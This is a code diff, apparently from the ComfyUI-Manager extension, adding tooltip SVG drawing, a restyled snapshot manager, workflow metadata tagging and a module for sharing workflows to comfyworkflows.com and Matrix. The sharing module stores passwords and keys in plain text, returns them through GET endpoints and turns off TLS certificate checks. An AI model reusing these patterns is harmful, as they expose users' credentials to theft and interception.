+    const startPoint = p(innerLeft, innerTop + borderRadius);
+    const arrowPoint = p(arrowOffset, 1);
+
+    const LT = p(innerLeft, innerTop);
+    const RT = p(innerRight, innerTop);
+
+    const AOT = p(arrowOffset - arrowSize, innerTop);
+    const RRT = p(innerRight - borderRadius, innerTop);
+
+    ls.push(`M${startPoint}`);
+    ls.push(`V${innerBottom - borderRadius}`);
+    ls.push(`Q${p(innerLeft, innerBottom)} ${p(innerLeft + borderRadius, innerBottom)}`);
+    ls.push(`H${innerRight - borderRadius}`);
+    ls.push(`Q${p(innerRight, innerBottom)} ${p(innerRight, innerBottom - borderRadius)}`);
+    ls.push(`V${innerTop + borderRadius}`);
+
+    if (arrowOffset < innerLeft + arrowSize + borderRadius) {
+        ls.push(`Q${RT} ${RRT}`);
+        ls.push(`H${arrowOffset + arrowSize}`);
+        ls.push(`L${arrowPoint}`);
+        if (arrowOffset < innerLeft + arrowSize) {
+            ls.push(`L${LT}`);
+            ls.push(`L${startPoint}`);
+        } else {
+            ls.push(`L${AOT}`);
+            ls.push(`Q${LT} ${startPoint}`);
+        }
+    } else if (arrowOffset > innerRight - arrowSize - borderRadius) {
+        if (arrowOffset > innerRight - arrowSize) {
+            ls.push(`L${RT}`);
+        } else {
+            ls.push(`Q${RT} ${p(arrowOffset + arrowSize, innerTop)}`);
+        }
+        ls.push(`L${arrowPoint}`);
+        ls.push(`L${AOT}`);
+        ls.push(`H${innerLeft + borderRadius}`);
+        ls.push(`Q${LT} ${startPoint}`);
+    } else {
+        ls.push(`Q${RT} ${RRT}`);
+        ls.push(`H${arrowOffset + arrowSize}`);
+        ls.push(`L${arrowPoint}`);
+        ls.push(`L${AOT}`);
+        ls.push(`H${innerLeft + borderRadius}`);
+        ls.push(`Q${LT} ${startPoint}`);
+    }
+    return ls.join('');
+};
+
+const getPathData = function(position, width, height, arrowOffset, arrowSize, borderRadius) {
+
+    const handlers = {
+
+        bottom: () => {
+            const d = getTemplatePath(width, height, arrowOffset, arrowSize, borderRadius);
+            return {
+                d,
+                transform: ''
+            };
+        },
+
+        top: () => {
+            const d = getTemplatePath(width, height, width - arrowOffset, arrowSize, borderRadius);
+            return {
+                d,
+                transform: `rotate(180,${width * 0.5},${height * 0.5})`
+            };
+        },
+
+        left: () => {
+            const d = getTemplatePath(height, width, arrowOffset, arrowSize, borderRadius);
+            const x = (width - height) * 0.5;
+            const y = (height - width) * 0.5;
+            return {
+                d,
+                transform: `translate(${x} ${y}) rotate(90,${height * 0.5},${width * 0.5})`
+            };
+        },
+
+        right: () => {
+            const d = getTemplatePath(height, width, height - arrowOffset, arrowSize, borderRadius);
+            const x = (width - height) * 0.5;
+            const y = (height - width) * 0.5;
+            return {
+                d,
+                transform: `translate(${x} ${y}) rotate(-90,${height * 0.5},${width * 0.5})`
+            };
+        }
+    };
+
+    return handlers[position]();
+};
+
+// ===========================================================================================
+
+// position style cache
+const styleCache = {
+    // position: '',
+    // top: {},
+    // bottom: {},
+    // left: {},
+    // right: {}
+};
+
+export const getPositionStyle = (info, options = {}) => {
+
+    const o = {
+        bgColor: '#fff',
+        borderColor: '#ccc',
+        borderRadius: 5,
+        arrowSize: 10
+    };
+    Object.keys(o).forEach((k) => {
+
+        if (hasOwn(options, k)) {
+            const d = o[k];
+            const v = options[k];
+
+            if (typeof d === 'string') {
+                // string
+                if (typeof v === 'string' && v) {
+                    o[k] = v;
+                }
+            } else {
+                // number
+                if (isNum(v) && v >= 0) {
+                    o[k] = v;
+                }
+
+            }
+
+        }
+    });
+
+    const key = [
+        info.width,
+        info.height,
+        info.offset,
+        o.arrowSize,
+        o.borderRadius,
+        o.bgColor,
+        o.borderColor
+    ].join('-');
+
+    const positionCache = styleCache[info.position];
+    if (positionCache && key === positionCache.key) {
+        const st = positionCache.style;
+        st.changed = styleCache.position !== info.position;
+        styleCache.position = info.position;
+        return st;
+    }
+
+    // console.log(options);
+
+    const data = getPathData(info.position, info.width, info.height, info.offset, o.arrowSize, o.borderRadius);
+    // console.log(data);
+
+    const viewBox = [0, 0, info.width, info.height].join(' ');
+    const svg = [
+        `<svg viewBox="${viewBox}" xmlns="http://www.w3.org/2000/svg">`,
+        `<path d="${data.d}" fill="${o.bgColor}" stroke="${o.borderColor}" transform="${data.transform}" />`,
+        '</svg>'
+    ].join('');
+
+    // console.log(svg);
+    const backgroundImage = `url("data:image/svg+xml;charset=utf8,${encodeURIComponent(svg)}")`;
+
+    const background = `${backgroundImage} center no-repeat`;
+
+    const padding = `${o.arrowSize + o.borderRadius}px`;
+
+    const style = {
+        background,
+        backgroundImage,
+        padding,
+        changed: true
+    };
+
+    styleCache.position = info.position;
+    styleCache[info.position] = {
+        key,
+        style
+    };
+
+    return style;
+};

comfyui_manager/js/snapshot.css

@@ -0,0 +1,65 @@
+.snapshot-manager {
+	--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
+	z-index: 1099;
+	width: 80vw;
+	height: 75vh;
+	min-height: 30em;
+	display: flex;
+	flex-direction: column;
+	gap: 10px;
+	color: var(--fg-color);
+	font-family: arial, sans-serif;
+	text-underline-offset: 3px;
+	outline: none;
+	margin: calc(var(--spacing)*2);
+}
+
+.snapshot-manager button {
+	width: auto;
+	position: relative;
+	overflow: hidden;
+	font-size: 16px;
+	color: var(--input-text);
+	background-color: var(--comfy-input-bg);
+	border-color: var(--border-color);
+	margin: 0;
+	min-width: 100px;
+	padding: 4px 8px;
+}
+
+.snapshot-manager .snapshot-restore-btn {
+	background-color: #00158f !important;
+	border-color: #2025b9 !important;
+	color: white !important;
+}
+
+.snapshot-manager .snapshot-remove-btn  {
+	background-color: #970000 !important;
+	border-color: #be2127 !important;
+	color: white !important;
+}
+
+.snapshot-manager button:hover {
+	filter: brightness(125%);
+}
+
+.snapshot-manager .data-btns {
+	display: flex;
+	flex-direction: column;
+	gap: calc(var(--spacing)*2);
+	padding: calc(var(--spacing)*2);
+	align-items: center;
+	justify-content: center;
+	height: 100%;
+}
+
+.snapshot-footer {
+	display: flex;
+	flex-wrap: wrap;
+	gap: 10px;
+	align-items: center;
+}
+
+.snapshot-manager .cn-flex-auto {
+	flex: auto;
+}

comfyui_manager/js/snapshot.js

@@ -1,13 +1,15 @@
 import { app } from "../../scripts/app.js";
 import { api } from "../../scripts/api.js"
 import { ComfyDialog, $el } from "../../scripts/ui.js";
-import { manager_instance, rebootAPI, show_message } from  "./common.js";
+import { manager_instance, rebootAPI, show_message, loadCss } from  "./common.js";
+import { buildGuiFrame } from "./comfyui-gui-builder.js";
 
+loadCss("./snapshot.css");
 
 async function restore_snapshot(target) {
 	if(SnapshotManager.instance) {
 		try {
-			const response = await api.fetchApi(`/snapshot/restore?target=${target}`, { cache: "no-store" });
+			const response = await api.fetchApi(`/v2/snapshot/restore?target=${target}`, { method: 'POST', cache: "no-store" });
 
 			if(response.status == 403) {
 				show_message('This action is not allowed with this security level configuration.');
@@ -27,7 +29,7 @@ async function restore_snapshot(target) {
 		}
 		finally {
 			await SnapshotManager.instance.invalidateControl();
-			SnapshotManager.instance.updateMessage("<BR>To apply the snapshot, please <button id='cm-reboot-button2' class='cm-small-button'>RESTART</button> ComfyUI. And refresh browser.", 'cm-reboot-button2');
+			SnapshotManager.instance.updateMessage("<BR>To apply the snapshot, please <button id='cm-reboot-button2' class='p-button p-component'>RESTART</button> ComfyUI. And refresh browser.", 'cm-reboot-button2');
 		}
 	}
 }
@@ -35,7 +37,7 @@ async function restore_snapshot(target) {
 async function remove_snapshot(target) {
 	if(SnapshotManager.instance) {
 		try {
-			const response = await api.fetchApi(`/snapshot/remove?target=${target}`, { cache: "no-store" });
+			const response = await api.fetchApi(`/v2/snapshot/remove?target=${target}`, { method: 'POST', cache: "no-store" });
 
 			if(response.status == 403) {
 				show_message('This action is not allowed with this security level configuration.');
@@ -61,7 +63,7 @@ async function remove_snapshot(target) {
 
 async function save_current_snapshot() {
 	try {
-		const response = await api.fetchApi('/snapshot/save', { cache: "no-store" });
+		const response = await api.fetchApi('/v2/snapshot/save', { method: 'POST', cache: "no-store" });
 		app.ui.dialog.close();
 		return true;
 	}
@@ -76,7 +78,7 @@ async function save_current_snapshot() {
 }
 
 async function getSnapshotList() {
-	const response = await api.fetchApi(`/snapshot/getlist`);
+	const response = await api.fetchApi(`/v2/snapshot/getlist`);
 	const data = await response.json();
 	return data;
 }
@@ -88,6 +90,8 @@ export class SnapshotManager extends ComfyDialog {
 	message_box = null;
 	data = null;
 
+	content = $el("div.snapshot-manager");
+
 	clear() {
 		this.restore_buttons = [];
 		this.message_box = null;
@@ -96,9 +100,18 @@ export class SnapshotManager extends ComfyDialog {
 
 	constructor(app, manager_dialog) {
 		super();
-		this.manager_dialog = manager_dialog;
+		// this.manager_dialog = manager_dialog;
 		this.search_keyword = '';
-		this.element = $el("div.comfy-modal", { parent: document.body }, []);
+
+		const frame = buildGuiFrame(
+			'snapshot-manager-dialog', // dialog id
+			'Snapshot Manager', // title
+			'i.mdi.mdi-puzzle', // icon class
+			this.content, // dialog content element
+			this
+		);	// send this so we can attach close functions
+
+		this.element = frame;
 	}
 
 	async remove_item() {
@@ -109,7 +122,7 @@ export class SnapshotManager extends ComfyDialog {
 
 	createControls() {
 		return [
-			$el("button.cm-small-button", {
+			$el("button.p-button.p-component", {
 				type: "button",
 				textContent: "Close",
 				onclick: () => { this.close(); }
@@ -132,8 +145,8 @@ export class SnapshotManager extends ComfyDialog {
 		this.clear();
 		this.data = (await getSnapshotList()).items;
 
-		while (this.element.children.length) {
-			this.element.removeChild(this.element.children[0]);
+		while (this.content.children.length) {
+			this.content.removeChild(this.content.children[0]);
 		}
 
 		await this.createGrid();
@@ -204,20 +217,21 @@ export class SnapshotManager extends ComfyDialog {
 				data2.innerHTML = `&nbsp;${data}`;
 				var data_button = document.createElement('td');
 				data_button.style.textAlign = "center";
+				data_button.className = "data-btns";
 
 				var restoreBtn = document.createElement('button');
+				restoreBtn.className = "snapshot-restore-btn p-button p-component";
 				restoreBtn.innerHTML = 'Restore';
 				restoreBtn.style.width = "100px";
-				restoreBtn.style.backgroundColor = 'blue';
 
 				restoreBtn.addEventListener('click', function() {
 					restore_snapshot(data);
 				});
 
 				var removeBtn = document.createElement('button');
+				removeBtn.className = "snapshot-remove-btn p-button p-component";
 				removeBtn.innerHTML = 'Remove';
 				removeBtn.style.width = "100px";
-				removeBtn.style.backgroundColor = 'red';
 
 				removeBtn.addEventListener('click', function() {
 					remove_snapshot(data);
@@ -241,13 +255,14 @@ export class SnapshotManager extends ComfyDialog {
 		let self = this;
 		const panel = document.createElement('div');
 		panel.style.width = "100%";
+		panel.style.height = "100%";
 		panel.appendChild(grid);
 
 		function handleResize() {
 		  const parentHeight = self.element.clientHeight;
 		  const gridHeight = parentHeight - 200;
 
-		  grid.style.height = gridHeight + "px";
+		//   grid.style.height = gridHeight + "px";
 		}
 		window.addEventListener("resize", handleResize);
 
@@ -256,25 +271,17 @@ export class SnapshotManager extends ComfyDialog {
 		grid.style.width = "100%";
 		grid.style.height = "100%";
 		grid.style.overflowY = "scroll";
-		this.element.style.height = "85%";
-		this.element.style.width = "80%";
-		this.element.appendChild(panel);
+
+		this.content.appendChild(panel);
 
 		handleResize();
 	}
 
 	async createBottomControls() {
-		var close_button = document.createElement("button");
-		close_button.className = "cm-small-button";
-		close_button.innerHTML = "Close";
-		close_button.onclick = () => { this.close(); }
-		close_button.style.display = "inline-block";
-
 		var save_button = document.createElement("button");
-		save_button.className = "cm-small-button";
+		save_button.className = "p-button p-component";
 		save_button.innerHTML = "Save snapshot";
 		save_button.onclick = () => { save_current_snapshot(); }
-		save_button.style.display = "inline-block";
 		save_button.style.horizontalAlign = "right";
 		save_button.style.width = "170px";
 
@@ -282,16 +289,20 @@ export class SnapshotManager extends ComfyDialog {
 		this.message_box.style.height = '60px';
 		this.message_box.style.verticalAlign = 'middle';
 
-		this.element.appendChild(this.message_box);
-		this.element.appendChild(close_button);
-		this.element.appendChild(save_button);
+		const footer = $el("div.snapshot-footer");
+		const spacer = $el("div.cn-flex-auto");
+		footer.appendChild(spacer);
+		footer.appendChild(save_button);
+
+		this.content.appendChild(this.message_box);
+		this.content.appendChild(footer);
 	}
 
 	async show() {
 		try {
 			this.invalidateControl();
-			this.element.style.display = "block";
-			this.element.style.zIndex = 10001;
+			this.element.style.display = "flex";
+			this.element.style.zIndex = 1099;
 		}
 		catch(exception) {
 			app.ui.dialog.show(`Failed to get external model list. / ${exception}`);

comfyui_manager/js/workflow-metadata.js

@@ -0,0 +1,84 @@
+/**
+ * Attaches metadata to the workflow on save
+ * - custom node pack version to all custom nodes used in the workflow
+ *
+ * Example metadata:
+ * "nodes": {
+ *   "1": {
+ *     type: "CheckpointLoaderSimple",
+ *     ...
+ *     properties: {
+ *       cnr_id: "comfy-core",
+ *       version: "0.3.8",
+ *     },
+ *   },
+ * }
+ *
+ * @typedef {Object} NodeInfo
+ * @property {string} ver - Version (git hash or semantic version)
+ * @property {string} cnr_id - ComfyRegistry node ID
+ * @property {boolean} enabled - Whether the node is enabled
+ */
+
+import { app } from "../../scripts/app.js";
+import { api } from "../../scripts/api.js";
+
+class WorkflowMetadataExtension {
+  constructor() {
+    this.name = "Comfy.CustomNodesManager.WorkflowMetadata";
+    this.installedNodes = {};
+    this.comfyCoreVersion = null;
+  }
+
+  /**
+   * Get the installed nodes info
+   * @returns {Promise<Record<string, NodeInfo>>} The mapping from node name to its info.
+   * ver can either be a git commit hash or a semantic version such as "1.0.0"
+   * cnr_id is the id of the node in the ComfyRegistry
+   * enabled is true if the node is enabled, false if it is disabled
+   */
+  async getInstalledNodes() {
+    const res = await api.fetchApi("/v2/customnode/installed");
+    return await res.json();
+  }
+
+  async init() {
+    this.installedNodes = await this.getInstalledNodes();
+    this.comfyCoreVersion = (await api.getSystemStats()).system.comfyui_version;
+  }
+
+  /**
+   * Called when any node is created
+   * @param {LGraphNode} node The newly created node
+   */
+  nodeCreated(node) {
+    try {
+      // nodeData doesn't exist if node is missing or node is frontend only node
+      if (!node?.constructor?.nodeData?.python_module) return;
+
+      const nodeProperties = (node.properties ??= {});
+      const modules = node.constructor.nodeData.python_module.split(".");
+      const moduleType = modules[0];
+
+      if (moduleType === "custom_nodes") {
+        const nodePackageName = modules[1];
+        const { cnr_id, aux_id, ver } =
+          this.installedNodes[nodePackageName] ??
+          this.installedNodes[nodePackageName.toLowerCase()] ??
+          {};
+
+        if (cnr_id === "comfy-core") return; // don't allow hijacking comfy-core name
+        if (cnr_id) nodeProperties.cnr_id = cnr_id;
+        else nodeProperties.aux_id = aux_id;
+        if (ver) nodeProperties.ver = ver.trim();
+      } else if (["nodes", "comfy_extras", "comfy_api_nodes"].includes(moduleType)) {
+        nodeProperties.cnr_id = "comfy-core";
+        nodeProperties.ver = this.comfyCoreVersion;
+      }
+    } catch (e) {
+      console.error(e);
+    }
+  }
+}
+
+app.registerExtension(new WorkflowMetadataExtension());

comfyui_manager/legacy/share_3rdparty.py

@@ -0,0 +1,451 @@
+import mimetypes
+from ..common import context
+from . import manager_core as core
+
+import os
+from aiohttp import web
+import aiohttp
+import json
+import hashlib
+
+import folder_paths
+from server import PromptServer
+import logging
+import sys
+
+
+try:
+    from nio import AsyncClient, LoginResponse, UploadResponse
+    matrix_nio_is_available = True
+except Exception:
+    logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
+    matrix_nio_is_available = False
+
+
+def extract_model_file_names(json_data):
+    """Extract unique file names from the input JSON data."""
+    file_names = set()
+    model_filename_extensions = {'.safetensors', '.ckpt', '.pt', '.pth', '.bin'}
+
+    # Recursively search for file names in the JSON data
+    def recursive_search(data):
+        if isinstance(data, dict):
+            for value in data.values():
+                recursive_search(value)
+        elif isinstance(data, list):
+            for item in data:
+                recursive_search(item)
+        elif isinstance(data, str) and '.' in data:
+            file_names.add(os.path.basename(data))  # file_names.add(data)
+
+    recursive_search(json_data)
+    return [f for f in list(file_names) if os.path.splitext(f)[1] in model_filename_extensions]
+
+
+def find_file_paths(base_dir, file_names):
+    """Find the paths of the files in the base directory."""
+    file_paths = {}
+
+    for root, dirs, files in os.walk(base_dir):
+        # Exclude certain directories
+        dirs[:] = [d for d in dirs if d not in ['.git']]
+
+        for file in files:
+            if file in file_names:
+                file_paths[file] = os.path.join(root, file)
+    return file_paths
+
+
+def compute_sha256_checksum(filepath):
+    """Compute the SHA256 checksum of a file, in chunks"""
+    sha256 = hashlib.sha256()
+    with open(filepath, 'rb') as f:
+        for chunk in iter(lambda: f.read(4096), b''):
+            sha256.update(chunk)
+    return sha256.hexdigest()
+
+
+@PromptServer.instance.routes.get("/v2/manager/share_option")
+async def share_option(request):
+    if "value" in request.rel_url.query:
+        core.get_config()['share_option'] = request.rel_url.query['value']
+        core.write_config()
+    else:
+        return web.Response(text=core.get_config()['share_option'], status=200)
+
+    return web.Response(status=200)
+
+
+def get_openart_auth():
+    if not os.path.exists(os.path.join(context.manager_files_path, ".openart_key")):
+        return None
+    try:
+        with open(os.path.join(context.manager_files_path, ".openart_key"), "r") as f:
+            openart_key = f.read().strip()
+        return openart_key if openart_key else None
+    except Exception:
+        return None
+
+
+def get_matrix_auth():
+    if not os.path.exists(os.path.join(context.manager_files_path, "matrix_auth")):
+        return None
+    try:
+        with open(os.path.join(context.manager_files_path, "matrix_auth"), "r") as f:
+            matrix_auth = f.read()
+            homeserver, username, password = matrix_auth.strip().split("\n")
+            if not homeserver or not username or not password:
+                return None
+        return {
+            "homeserver": homeserver,
+            "username": username,
+            "password": password,
+        }
+    except Exception:
+        return None
+
+
+def get_comfyworkflows_auth():
+    if not os.path.exists(os.path.join(context.manager_files_path, "comfyworkflows_sharekey")):
+        return None
+    try:
+        with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "r") as f:
+            share_key = f.read()
+            if not share_key.strip():
+                return None
+        return share_key
+    except Exception:
+        return None
+
+
+def get_youml_settings():
+    if not os.path.exists(os.path.join(context.manager_files_path, ".youml")):
+        return None
+    try:
+        with open(os.path.join(context.manager_files_path, ".youml"), "r") as f:
+            youml_settings = f.read().strip()
+        return youml_settings if youml_settings else None
+    except Exception:
+        return None
+
+
+def set_youml_settings(settings):
+    with open(os.path.join(context.manager_files_path, ".youml"), "w") as f:
+        f.write(settings)
+
+
+@PromptServer.instance.routes.get("/v2/manager/get_openart_auth")
+async def api_get_openart_auth(request):
+    # print("Getting stored Matrix credentials...")
+    openart_key = get_openart_auth()
+    if not openart_key:
+        return web.Response(status=404)
+    return web.json_response({"openart_key": openart_key})
+
+
+@PromptServer.instance.routes.post("/v2/manager/set_openart_auth")
+async def api_set_openart_auth(request):
+    json_data = await request.json()
+    openart_key = json_data['openart_key']
+    with open(os.path.join(context.manager_files_path, ".openart_key"), "w") as f:
+        f.write(openart_key)
+    return web.Response(status=200)
+
+
+@PromptServer.instance.routes.get("/v2/manager/get_matrix_auth")
+async def api_get_matrix_auth(request):
+    # print("Getting stored Matrix credentials...")
+    matrix_auth = get_matrix_auth()
+    if not matrix_auth:
+        return web.Response(status=404)
+    return web.json_response(matrix_auth)
+
+
+@PromptServer.instance.routes.get("/v2/manager/youml/settings")
+async def api_get_youml_settings(request):
+    youml_settings = get_youml_settings()
+    if not youml_settings:
+        return web.Response(status=404)
+    return web.json_response(json.loads(youml_settings))
+
+
+@PromptServer.instance.routes.post("/v2/manager/youml/settings")
+async def api_set_youml_settings(request):
+    json_data = await request.json()
+    set_youml_settings(json.dumps(json_data))
+    return web.Response(status=200)
+
+
+@PromptServer.instance.routes.get("/v2/manager/get_comfyworkflows_auth")
+async def api_get_comfyworkflows_auth(request):
+    # Check if the user has provided Matrix credentials in a file called 'matrix_accesstoken'
+    # in the same directory as the ComfyUI base folder
+    # print("Getting stored Comfyworkflows.com auth...")
+    comfyworkflows_auth = get_comfyworkflows_auth()
+    if not comfyworkflows_auth:
+        return web.Response(status=404)
+    return web.json_response({"comfyworkflows_sharekey": comfyworkflows_auth})
+
+
+@PromptServer.instance.routes.post("/v2/manager/set_esheep_workflow_and_images")
+async def set_esheep_workflow_and_images(request):
+    json_data = await request.json()
+    with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
+        json.dump(json_data, file, indent=4)
+        return web.Response(status=200)
+
+
+@PromptServer.instance.routes.get("/v2/manager/get_esheep_workflow_and_images")
+async def get_esheep_workflow_and_images(request):
+    with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
+        data = json.load(file)
+        return web.Response(status=200, text=json.dumps(data))
+
+
+@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
+async def get_matrix_dep_status(request):
+    if matrix_nio_is_available:
+        return web.Response(status=200, text='available')
+    else:
+        return web.Response(status=200, text='unavailable')
+
+
+def set_matrix_auth(json_data):
+    homeserver = json_data['homeserver']
+    username = json_data['username']
+    password = json_data['password']
+    with open(os.path.join(context.manager_files_path, "matrix_auth"), "w") as f:
+        f.write("\n".join([homeserver, username, password]))
+
+
+def set_comfyworkflows_auth(comfyworkflows_sharekey):
+    with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "w") as f:
+        f.write(comfyworkflows_sharekey)
+
+
+def has_provided_matrix_auth(matrix_auth):
+    return matrix_auth['homeserver'].strip() and matrix_auth['username'].strip() and matrix_auth['password'].strip()
+
+
+def has_provided_comfyworkflows_auth(comfyworkflows_sharekey):
+    return comfyworkflows_sharekey.strip()
+
+
+@PromptServer.instance.routes.post("/v2/manager/share")
+async def share_art(request):
+    # get json data
+    json_data = await request.json()
+
+    matrix_auth = json_data['matrix_auth']
+    comfyworkflows_sharekey = json_data['cw_auth']['cw_sharekey']
+
+    set_matrix_auth(matrix_auth)
+    set_comfyworkflows_auth(comfyworkflows_sharekey)
+
+    share_destinations = json_data['share_destinations']
+    credits = json_data['credits']
+    title = json_data['title']
+    description = json_data['description']
+    is_nsfw = json_data['is_nsfw']
+    prompt = json_data['prompt']
+    potential_outputs = json_data['potential_outputs']
+    selected_output_index = json_data['selected_output_index']
+
+    try:
+        output_to_share = potential_outputs[int(selected_output_index)]
+    except Exception:
+        # for now, pick the first output
+        output_to_share = potential_outputs[0]
+
+    assert output_to_share['type'] in ('image', 'output')
+    output_dir = folder_paths.get_output_directory()
+
+    if output_to_share['type'] == 'image':
+        asset_filename = output_to_share['image']['filename']
+        asset_subfolder = output_to_share['image']['subfolder']
+
+        if output_to_share['image']['type'] == 'temp':
+            output_dir = folder_paths.get_temp_directory()
+    else:
+        asset_filename = output_to_share['output']['filename']
+        asset_subfolder = output_to_share['output']['subfolder']
+
+    if asset_subfolder:
+        asset_filepath = os.path.join(output_dir, asset_subfolder, asset_filename)
+    else:
+        asset_filepath = os.path.join(output_dir, asset_filename)
+
+    # get the mime type of the asset
+    assetFileType = mimetypes.guess_type(asset_filepath)[0]
+
+    share_website_host = "UNKNOWN"
+    if "comfyworkflows" in share_destinations:
+        share_website_host = "https://comfyworkflows.com"
+        share_endpoint = f"{share_website_host}/api"
+
+        # get presigned urls
+        async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
+            async with session.post(
+                    f"{share_endpoint}/get_presigned_urls",
+                    json={
+                        "assetFileName": asset_filename,
+                        "assetFileType": assetFileType,
+                        "workflowJsonFileName": 'workflow.json',
+                        "workflowJsonFileType": 'application/json',
+                    },
+            ) as resp:
+                assert resp.status == 200
+                presigned_urls_json = await resp.json()
+                assetFilePresignedUrl = presigned_urls_json["assetFilePresignedUrl"]
+                assetFileKey = presigned_urls_json["assetFileKey"]
+                workflowJsonFilePresignedUrl = presigned_urls_json["workflowJsonFilePresignedUrl"]
+                workflowJsonFileKey = presigned_urls_json["workflowJsonFileKey"]
+
+        # upload asset
+        async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
+            async with session.put(assetFilePresignedUrl, data=open(asset_filepath, "rb")) as resp:
+                assert resp.status == 200
+
+        # upload workflow json
+        async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
+            async with session.put(workflowJsonFilePresignedUrl, data=json.dumps(prompt['workflow']).encode('utf-8')) as resp:
+                assert resp.status == 200
+
+        model_filenames = extract_model_file_names(prompt['workflow'])
+        model_file_paths = find_file_paths(folder_paths.base_path, model_filenames)
+
+        models_info = {}
+        for filename, filepath in model_file_paths.items():
+            models_info[filename] = {
+                "filename": filename,
+                "sha256_checksum": compute_sha256_checksum(filepath),
+                "relative_path": os.path.relpath(filepath, folder_paths.base_path),
+            }
+
+        # make a POST request to /api/upload_workflow with form data key values
+        async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
+            form = aiohttp.FormData()
+            if comfyworkflows_sharekey:
+                form.add_field("shareKey", comfyworkflows_sharekey)
+            form.add_field("source", "comfyui_manager")
+            form.add_field("assetFileKey", assetFileKey)
+            form.add_field("assetFileType", assetFileType)
+            form.add_field("workflowJsonFileKey", workflowJsonFileKey)
+            form.add_field("sharedWorkflowWorkflowJsonString", json.dumps(prompt['workflow']))
+            form.add_field("sharedWorkflowPromptJsonString", json.dumps(prompt['output']))
+            form.add_field("shareWorkflowCredits", credits)
+            form.add_field("shareWorkflowTitle", title)
+            form.add_field("shareWorkflowDescription", description)
+            form.add_field("shareWorkflowIsNSFW", str(is_nsfw).lower())
+            form.add_field("currentSnapshot", json.dumps(await core.get_current_snapshot()))
+            form.add_field("modelsInfo", json.dumps(models_info))
+
+            async with session.post(
+                    f"{share_endpoint}/upload_workflow",
+                    data=form,
+            ) as resp:
+                assert resp.status == 200
+                upload_workflow_json = await resp.json()
+                workflowId = upload_workflow_json["workflowId"]
+
+    # check if the user has provided Matrix credentials
+    if matrix_nio_is_available and "matrix" in share_destinations:
+        comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
+        filename = os.path.basename(asset_filepath)
+        content_type = assetFileType
+
+        try:
+            homeserver = 'matrix.org'
+            if matrix_auth:
+                homeserver = matrix_auth.get('homeserver', 'matrix.org')
+            homeserver = homeserver.replace("http://", "https://")
+            if not homeserver.startswith("https://"):
+                homeserver = "https://" + homeserver
+
+            client = AsyncClient(homeserver, matrix_auth['username'])
+
+            # Login
+            login_resp = await client.login(matrix_auth['password'])
+            if not isinstance(login_resp, LoginResponse) or not login_resp.access_token:
+                await client.close()
+                return web.json_response({"error": "Invalid Matrix credentials."}, content_type='application/json', status=400)
+
+            # Upload asset
+            with open(asset_filepath, 'rb') as f:
+                upload_resp, _maybe_keys = await client.upload(f, content_type=content_type, filename=filename)
+                asset_data = f.seek(0) or f.read()  # get size for info below
+            if not isinstance(upload_resp, UploadResponse) or not upload_resp.content_uri:
+                await client.close()
+                return web.json_response({"error": "Failed to upload asset to Matrix."}, content_type='application/json', status=500)
+            mxc_url = upload_resp.content_uri
+
+            # Upload workflow JSON
+            import io
+            workflow_json_bytes = json.dumps(prompt['workflow']).encode('utf-8')
+            workflow_io = io.BytesIO(workflow_json_bytes)
+            upload_workflow_resp, _maybe_keys = await client.upload(workflow_io, content_type='application/json', filename='workflow.json')
+            workflow_io.seek(0)
+            if not isinstance(upload_workflow_resp, UploadResponse) or not upload_workflow_resp.content_uri:
+                await client.close()
+                return web.json_response({"error": "Failed to upload workflow to Matrix."}, content_type='application/json', status=500)
+            workflow_json_mxc_url = upload_workflow_resp.content_uri
+
+            # Send text message
+            text_content = ""
+            if title:
+                text_content += f"{title}\n"
+            if description:
+                text_content += f"{description}\n"
+            if credits:
+                text_content += f"\ncredits: {credits}\n"
+            await client.room_send(
+                room_id=comfyui_share_room_id,
+                message_type="m.room.message",
+                content={"msgtype": "m.text", "body": text_content}
+            )
+
+            # Send image
+            await client.room_send(
+                room_id=comfyui_share_room_id,
+                message_type="m.room.message",
+                content={
+                    "msgtype": "m.image",
+                    "body": filename,
+                    "url": mxc_url,
+                    "info": {
+                        "mimetype": content_type,
+                        "size": len(asset_data)
+                    }
+                }
+            )
+
+            # Send workflow JSON file
+            await client.room_send(
+                room_id=comfyui_share_room_id,
+                message_type="m.room.message",
+                content={
+                    "msgtype": "m.file",
+                    "body": "workflow.json",
+                    "url": workflow_json_mxc_url,
+                    "info": {
+                        "mimetype": "application/json",
+                        "size": len(workflow_json_bytes)
+                    }
+                }
+            )
+
+            await client.close()
+
+        except:
+            import traceback
+            traceback.print_exc()
+            return web.json_response({"error": "An error occurred when sharing your art to Matrix."}, content_type='application/json', status=500)
+
+    return web.json_response({
+        "comfyworkflows": {
+            "url": None if "comfyworkflows" not in share_destinations else f"{share_website_host}/workflows/{workflowId}",
+        },
+        "matrix": {
+            "success": None if "matrix" not in share_destinations else True
+        }
+    }, content_type='application/json', status=200)

comfyui_manager/prestartup_script.py

@@ -0,0 +1,855 @@
+import os
+import shutil
+import subprocess
+import sys
+import atexit
+import threading
+import re
+import locale
+import platform
+import json
+import ast
+import logging
+import traceback
+
+from .common import security_check
+from .common import manager_util
+from .common import cm_global
+from .common import manager_downloader
+from .common.timestamp_utils import current_timestamp
+import folder_paths
+
+manager_util.add_python_path_to_env()
+
+
+cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'}
+cm_global.pip_downgrade_blacklist = ['torch', 'torchaudio', 'torchsde', 'torchvision', 'transformers', 'safetensors', 'kornia']
+
+
+def skip_pip_spam(x):
+    return ('Requirement already satisfied:' in x) or ("DEPRECATION: Loading egg at" in x)
+
+
